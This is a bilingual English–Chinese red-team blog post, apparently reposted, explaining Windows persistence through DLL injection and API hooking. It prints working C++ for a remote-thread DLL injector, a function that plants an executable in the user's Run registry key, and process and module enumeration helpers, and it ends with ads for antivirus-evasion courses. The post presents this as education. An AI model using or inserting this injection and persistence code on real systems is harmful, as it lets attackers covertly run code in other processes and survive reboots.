红队利用DLL注入绕行的持久性API Hooking

admin 2024年7月4日07:59:08评论1 views字数 14491阅读48分18秒阅读模式

API Hooking is a powerful approach employed by programmers to intercept and alter the behavior of functions or procedures (Application Programming Interfaces) in a software system. It has both legitimate and malicious applications, depending on the intent of the programmer.

API Hooking 是程序员用来拦截和更改软件系统中功能或过程(应用程序编程接口)行为的一种强大方法。它既有合法的应用程序,也有恶意的应用程序,这取决于程序员的意图。

In this context, we will focus on the darker side of API Hooking — leveraging it to gain persistence, meaning the ability to maintain control or influence over a targeted system even after restarts or system events that would typically clear out temporary modifications. This persistence is achieved by combining two potent methodologies: “Detours” and “DLL Injection.”

在这种情况下,我们将重点关注 API Hooking 的阴暗面——利用它来获得持久性,这意味着即使在重新启动或系统事件之后,也能保持对目标系统的控制或影响,这些事件通常会清除临时修改。这种持久性是通过结合两种有效的方法实现的:“绕行”和“DLL 注入”。

Detours is a popular and widely-used library for Microsoft Windows that facilitates the interception and redirection of function calls. By utilizing this library, we can inject our custom code into the target process, allowing us to divert the execution flow of specific functions or APIs to our own implementation, granting us control and visibility into the target’s actions.

Detours 是 Microsoft Windows 中流行且广泛使用的库,有助于拦截和重定向函数调用。通过利用这个库,我们可以将自定义代码注入到目标进程中,从而允许我们将特定函数或 API 的执行流转移到我们自己的实现中,从而使我们能够控制和查看目标的操作。

DLL Injection, on the other hand, is a technique that involves loading a custom Dynamic Link Library (DLL) into the address space of a running process. This enables us to execute our code within the context of the targeted application, effectively extending its functionalities or manipulating its behavior.

另一方面,DLL 注入是一种涉及将自定义动态链接库 (DLL) 加载到正在运行的进程的地址空间的技术。这使我们能够在目标应用程序的上下文中执行代码,有效地扩展其功能或操纵其行为。

The primary focus of this article is to demonstrate a C++ code example that showcases the potential risks and ramifications of malicious API Hooking, specifically concentrating on achieving persistence by exploiting the combined power of Detours and DLL Injection. It is crucial to emphasize that while such techniques are indeed educational in understanding potential security vulnerabilities, their application for harmful purposes is strictly unethical and illegal.

本文的主要重点是演示一个 C++ 代码示例,该示例展示了恶意 API 挂钩的潜在风险和后果,特别是专注于通过利用迂回和 DLL 注入的组合功能来实现持久性。必须强调的是,虽然这些技术在理解潜在的安全漏洞方面确实具有教育意义,但将其用于有害目的是严格不道德和非法的。

Throughout this article, we will provide detailed insights into the inner workings of the C++ code, step-by-step explanations of the Detours library integration, and a deep dive into the mechanics of DLL Injection to understand how these elements intertwine to achieve API Hooking persistence.

在本文中,我们将详细介绍 C++ 代码的内部工作原理,分步解释 Detours 库集成,并深入探讨 DLL 注入的机制,以了解这些元素如何交织在一起以实现 API 挂钩持久性。

main.cpp

#include <windows.h>#include <iostream>#include <tlhelp32.h>#include "validations.h"using namespace std;int getPIDbyProcName(const char* procName) {    int pid = 0;    HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);    PROCESSENTRY32 pe32;    pe32.dwSize = sizeof(PROCESSENTRY32);    if (Process32First(hSnap, &pe32) != FALSE) {        while (pid == 0 && Process32Next(hSnap, &pe32) != FALSE) {            if (strcmp(pe32.szExeFile, procName) == 0) {                pid = pe32.th32ProcessID;            }        }    }    CloseHandle(hSnap);    return pid;}bool DLLinjector(DWORD pid, char* dllPath){    typedef LPVOID memory_buffer;    HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);    if (hProc == NULL) {        cout << "OpenProcess() failed: " << GetLastError() << endl;        return false;    }    HMODULE hKernel32 = GetModuleHandle("Kernel32");    void *lb = GetProcAddress(hKernel32, "LoadLibraryA");    memory_buffer allocMem = VirtualAllocEx(hProc, NULL, strlen(dllPath), MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);    if (allocMem == NULL) {        cout << "VirtualAllocEx() failed: " << GetLastError() << endl;        return false;    }    WriteProcessMemory(hProc, allocMem, dllPath, strlen(dllPath), NULL);    HANDLE rThread = CreateRemoteThread(hProc, NULL, 0, (LPTHREAD_START_ROUTINE)lb, allocMem, 0, NULL);    if (rThread == NULL) {        cout << "CreateRemoteThread() failed: " << GetLastError() << endl;        return false;    }    CloseHandle(hProc);    FreeLibrary(hKernel32);    VirtualFreeEx(hProc, allocMem, strlen(dllPath), MEM_RELEASE);    return true;}int runkeys(const char* exe) {    HKEY hkey = NULL;    LONG res = RegOpenKeyEx(HKEY_CURRENT_USER,(LPCSTR)"SOFTWARE\Microsoft\Windows\CurrentVersion\Run", 0, KEY_WRITE, &hkey);    if (res == ERROR_SUCCESS) {        RegSetValueEx(hkey,(LPCSTR)"s12maldev", 0, REG_SZ, (unsigned char*)exe, strlen(exe));        RegCloseKey(hkey);    }    return 0;}

完整代码关注微信号,回复【240531】获得

This C++ code appears to be a simple implementation of a process injector with DLL injection and persistence functionality. The code is designed to perform API hooking, specifically achieving persistence through DLL injection into a specified target process. Let’s break down the code step by step:

此 C++ 代码似乎是具有 DLL 注入和持久性功能的进程注入器的简单实现。该代码旨在执行 API 挂钩,特别是通过将 DLL 注入到指定的目标进程中来实现持久性。让我们一步一步地分解代码:

getPIDbyProcName Function: This function takes a process name (procName) as input and returns the Process ID (PID) of the corresponding process. It uses the CreateToolhelp32Snapshot function to obtain a snapshot of the running processes, then iterates through the snapshot using Process32First and Process32Next functions to find the PID of the target process.

getPIDbyProcName 功能:此函数采用进程名称 (procName) 作为输入,并返回相应进程的进程 ID (PID)。它使用CreateToolhelp32Snapshot函数获取正在运行的进程的快照,然后使用 Process32First和Process32Next 函数循环访问快照以查找目标进程的 PID。

DLLinjector Function: This function is responsible for injecting a custom DLL (dllPath) into the target process specified by its PID (pid). The function performs the following steps:

DLLinjector 功能:此函数负责将自定义 DLL (dllPath) 注入其 PID (pid) 指定的目标进程中。该函数执行以下步骤:

  • It opens the target process using OpenProcess with PROCESS_ALL_ACCESS privileges.

  • 它使用PROCESS_ALL_ACCESS权限打开目标进程OpenProcess
  • Retrieves the address of the LoadLibraryA function from the Kernel32.dll module using GetProcAddress.

  • 使用GetProcAddress从Kernel32.dll模块中检索LoadLibraryA函数的地址。
  • Allocates memory in the target process using VirtualAllocEx to store the DLL path.

  • 在目标进程中分配内存,用于VirtualAllocEx存储 DLL 路径。

  • Writes the DLL path to the allocated memory in the target process using WriteProcessMemory.

  • 使用WriteProcessMemory将 DLL 路径写入目标进程中分配的内存。
  • Creates a remote thread in the target process that executes the LoadLibraryA function with the allocated memory address as an argument using CreateRemoteThread.

  • 在目标进程中创建一个远程线程,该线程使用LoadLibraryACreateRemoteThread分配的内存地址作为参数执行函数。

  • After injection, it closes the handle to the target process, frees memory, and releases the Kernel32.dll module.

  • 注入后,它关闭目标进程的句柄,释放内存并释放Kernel32.dll模块。

runkeys Function: This function sets a registry value to achieve persistence by adding the executable (exe) to the Windows Run key. This ensures that the executable will run automatically every time the user logs in. The function uses the Windows Registry API to open the "Run" key for the current user and sets the executable path as a value within it.
runkeys 功能:此函数设置注册表值,通过将可执行文件 (exe) 添加到 Windows 运行项来实现持久性。这可确保每次用户登录时可执行文件都会自动运行。该函数使用 Windows 注册表 API 为当前用户打开“运行”键,并将可执行路径设置为其中的值。
validations.h
#include <iostream>using namespace std;bool IsProcessRunning(const string& processName) {    HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);    if (hSnapshot == INVALID_HANDLE_VALUE)        return false;    PROCESSENTRY32 processEntry;    processEntry.dwSize = sizeof(PROCESSENTRY32);    if (Process32First(hSnapshot, &processEntry)) {        do {            if (processName.compare(processEntry.szExeFile) == 0) {                CloseHandle(hSnapshot);                return true;            }        } while (Process32Next(hSnapshot, &processEntry));    }    CloseHandle(hSnapshot);    return false;}bool IsDLLLoaded(DWORD processId, const std::wstring& dllName) {    HANDLE hModuleSnap = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE | TH32CS_SNAPMODULE32, processId);    if (hModuleSnap == INVALID_HANDLE_VALUE) {        return false;    }    MODULEENTRY32W moduleEntry;    moduleEntry.dwSize = sizeof(MODULEENTRY32W);    bool dllFound = false;    if (Module32FirstW(hModuleSnap, &moduleEntry)) {        do {            if (dllName.compare(moduleEntry.szModule) == 0) {                dllFound = true;                break;            }        } while (Module32NextW(hModuleSnap, &moduleEntry));    }    CloseHandle(hModuleSnap);    return dllFound;}
This C++ code snippet defines two functions, IsProcessRunning and IsDLLLoaded, that are used to check whether a given process and a specified DLL are currently running or loaded in the system. Let's explore each function:
此 C++ 代码段定义了两个函数IsProcessRunningIsDLLLoaded,用于检查给定进程和指定的 DLL 当前是否正在系统中运行或加载。让我们来探讨一下每个函数:

IsProcessRunning Function:

This function takes a processName (a string) as input and returns a boolean value indicating whether the specified process is running on the system. It uses the Windows Tool Help functions to enumerate running processes and compare their names with the provided processName. Here's how it works:

IsProcessRunning功能:

此函数将processName 作为字符串输入,并返回一个布尔值,该值指示指定的进程是否在系统上运行。它使用 Windows 工具帮助函数枚举正在运行的进程,并将其名称与提供的 processName其工作原理如下:

  • The function starts by calling CreateToolhelp32Snapshot with the TH32CS_SNAPPROCESS flag, which creates a snapshot of the running processes.

  • 该函数首先使用标志进行调用CreateToolhelp32Snapshot,该标志TH32CS_SNAPPROCESS将创建正在运行的进程的快照。

  • If the snapshot creation is successful, the function proceeds to initialize a PROCESSENTRY32 structure (processEntry) and set its size.

  • 如果快照创建成功,该函数PROCESSENTRY32将继续初始化结构 (processEntry)并设置其大小。

  • It then calls Process32First to retrieve the first process in the snapshot and compares its name with the provided processName. If there is a match, it returns true.

  • 然后,它调用Process32First以检索快照中的第一个进程,并将其名称与提供的 processNametrue如果存在匹配项,则返回 。

  • If there is no match, the function continues iterating through the snapshot using Process32Next until it finds a matching process or reaches the end of the snapshot.

  • 如果没有匹配项,则函数将继续循环访问快照Process32Next,直到找到匹配的进程或到达快照的末尾。

  • Finally, the function closes the handle to the snapshot and returns false if the process is not found.

  • 最后,该函数关闭快照的句柄,如果找不到进程,则返回。

IsDLLLoaded Function:

  1. This function is used to check if a specified DLL is loaded in a given process with the provided processId. It also uses the Tool Help functions to enumerate loaded modules (DLLs) within a process. The process ID can be obtained using other methods, such as getPIDbyProcName shown in the previous example. Here's how the function works:

IsDLLLoaded功能:

  • 此函数用于检查指定的 DLL 是否在给定进程中加载了提供的 .它还使用工具帮助函数枚举进程中加载的模块 (DLL)。可以使用其他方法获取进程 ID,如processIdgetPIDbyProcName,以下是该函数的工作原理:

  • The function starts by calling CreateToolhelp32Snapshot with the TH32CS_SNAPMODULE | TH32CS_SNAPMODULE32 flags and the given processId, creating a snapshot of the loaded modules within the specified process.

  • 该函数首先使用TH32CS_SNAPMODULE | TH32CS_SNAPMODULE32标志和给定的processId调用CreateToolhelp32Snapshot来创建指定进程中已加载模块的快照。

  • If the snapshot creation is successful, it initializes a MODULEENTRY32W structure (moduleEntry) and sets its size.

  • 如果快照创建成功,它将MODULEENTRY32W初始化结构 (moduleEntry)并设置其大小

  • It then calls Module32FirstW to retrieve the first loaded module in the process and compares its name with the provided dllName. If there is a match, it sets dllFound to true.

  • 然后,它调用Module32FirstW以检索进程中第一个加载的模块,并将其名称与提供的dllName如果存在匹配项,则设置为dllFoundtrue

  • If there is no match, the function continues iterating through the snapshot using Module32NextW until it finds a matching DLL or reaches the end of the snapshot.

  • 如果没有匹配项,则函数将继续循环访问快照Module32NextW,直到找到匹配的 DLL 或到达快照的末尾。

  • Finally, the function closes the handle to the snapshot and returns the value of dllFound, indicating whether the specified DLL is loaded in the process or not.

  • 最后,该函数关闭快照的句柄并返回值 ,指示是否在进程中加载指定的 DLL。

These two functions provide a useful utility for checking the presence of processes and loaded DLLs on a Windows system. They can be handy for various purposes, such as troubleshooting, debugging, or security-related tasks.

这两个函数提供了一个有用的实用工具,用于检查 Windows 系统上是否存在进程和加载的 DLL。它们可以方便地用于各种目的,例如故障排除、调试或与安全相关的任务。

Proof of Concept: Detecting Running Processes and Monitoring DLL Loading in Windows

Welcome to this proof of concept showcasing two essential functionalities in Windows system monitoring — detecting running processes and monitoring the loading of dynamic link libraries (DLLs). In this demonstration, we present two C++ code snippets designed to provide insights into the running processes on a Windows machine and identify whether a specified DLL is loaded within a particular process.

概念验证:检测正在运行的进程并监视 Windows 中的 DLL 加载

欢迎使用此概念证明,它展示了 Windows 系统监视中的两个基本功能 — 检测正在运行的进程和监视动态链接库 (DLL) 的加载。在此演示中,我们将介绍两个 C++ 代码片段,旨在提供对 Windows 计算机上正在运行的进程的见解,并确定是否在特定进程中加载了指定的 DLL。

  • Detecting Running Processes: The first part of this proof of concept focuses on the IsProcessRunning function, which efficiently detects the presence of a specific process by its name. Leveraging the Windows Tool Help functions, the code utilizes a snapshot of the running processes to enumerate and match process names. By adopting this method, we demonstrate a simple yet effective way to monitor the system for the existence of a particular process, a valuable capability for diagnostic, security, and automation tasks.

  1. 检测正在运行的进程:此概念验证的第一部分侧重于功能,该功能通过其名称有效地检测特定过程的存在。利用 Windows 工具帮助函数,代码利用正在运行的进程的快照来枚举和匹配进程名称。通过采用这种方法,我们展示了一种简单而有效的方法来监控系统是否存在特定过程,这是诊断、安全和自动化任务的宝贵功能。IsProcessRunning

  2. Monitoring DLL Loading: The second component of this proof of concept centers around the IsDLLLoaded function, dedicated to monitoring the loading of DLLs in a target process. Employing the same Windows Tool Help functions, the code acquires a snapshot of loaded modules within the designated process. By analyzing these modules and comparing their names to a specified DLL, the code provides insights into whether the DLL is currently loaded in the target process. This aspect of system monitoring is crucial for identifying potential security issues, understanding software dependencies, and enhancing system stability.

  3. 监控 DLL 加载:此概念证明的第二个组件以函数为中心,专门用于监视目标进程中 DLL 的加载。使用相同的 Windows 工具帮助功能,代码获取指定进程中已加载模块的快照。通过分析这些模块并将其名称与指定的 DLL 进行比较,该代码提供了有关当前是否在目标进程中加载 DLL 的见解。系统监控的这一方面对于识别潜在的安全问题、了解软件依赖关系和增强系统稳定性至关重要。IsDLLLoaded

Both functionalities in this proof of concept leverage the robust capabilities of the Windows API, illustrating the power of C++ programming in managing and examining the underlying processes and modules within a Windows environment. However, we must emphasize that while such tools are essential for security professionals, system administrators, and developers for legitimate purposes, they can also be misused for malicious intent. It is essential to use these capabilities responsibly and within the bounds of legal and ethical practices.

此概念证明中的两个功能都利用了 Windows API 的强大功能,说明了 C++ 编程在管理和检查 Windows 环境中的基础进程和模块方面的强大功能。但是,我们必须强调,虽然这些工具对于安全专业人员、系统管理员和开发人员出于合法目的至关重要,但它们也可能被滥用于恶意意图。必须在法律和道德实践的范围内负责任地使用这些能力。

Let’s see it working:

让我们看看它的工作原理:

I transfer and execute the binary:

我传输并执行二进制文件:

红队利用DLL注入绕行的持久性API Hooking

Now i open a notepad.exe

现在我开了一个notepad.exe

红队利用DLL注入绕行的持久性API Hooking

In conclusion, this article has delved into the concept of “Persistent API Hooking with Detours via DLL Injection,” providing an in-depth exploration of two potent methodologies employed in Windows system monitoring. The main focus of this discourse has been on the darker side of API Hooking, where we showcased how the combination of Detours and DLL Injection can be leveraged to achieve persistence in a targeted system.

本文深入探讨了“通过 DLL 注入绕行的持久 API 挂钩”的概念,深入探讨了 Windows 系统监控中采用的两种有效方法。这篇的主要焦点是 API Hooking 的阴暗面,我们展示了如何利用 Detours 和 DLL 注入的组合来实现目标系统中的持久性。

API Hooking, a powerful technique used by programmers for legitimate purposes, can also be exploited for malicious intent. By redirecting function calls, attackers can gain control and influence over a system, extending their reach beyond normal application boundaries. In this context, we have demonstrated the potential risks and ramifications of malicious API Hooking, particularly when used to achieve persistence, allowing unauthorized access and control even after system restarts or events that would typically clear temporary modifications.

API Hooking 是程序员出于合法目的使用的一种强大技术,也可以被用于恶意意图。通过重定向函数调用,攻击者可以获得对系统的控制和影响,从而将其范围扩展到正常应用程序边界之外。在此上下文中,我们已经展示了恶意 API 挂钩的潜在风险和后果,尤其是在用于实现持久性时,即使在系统重新启动或通常会清除临时修改的事件之后,也允许未经授权的访问和控制。

"对红队攻防感兴趣吗?想要深入学习相关知识?欢迎加入我们的知识星球!在这里,我们会不定期分享最新的学习资料,技术讨论,快快扫描下方二维码,加入我们的社群吧!

红队利用DLL注入绕行的持久性API Hooking

除了学习资料分享,我们提供网安证书报考特惠渠道以及最新的免杀课程!详细信息,请扫描下方二维码进行咨询。

证书报考咨询:

红队利用DLL注入绕行的持久性API Hooking

免杀课程咨询:

红队利用DLL注入绕行的持久性API Hooking

原文始发于微信公众号(赛博社工):红队利用DLL注入绕行的持久性API Hooking

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年7月4日07:59:08
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   红队利用DLL注入绕行的持久性API Hookinghttps://cn-sec.com/archives/2803895.html

发表评论

匿名网友 填写信息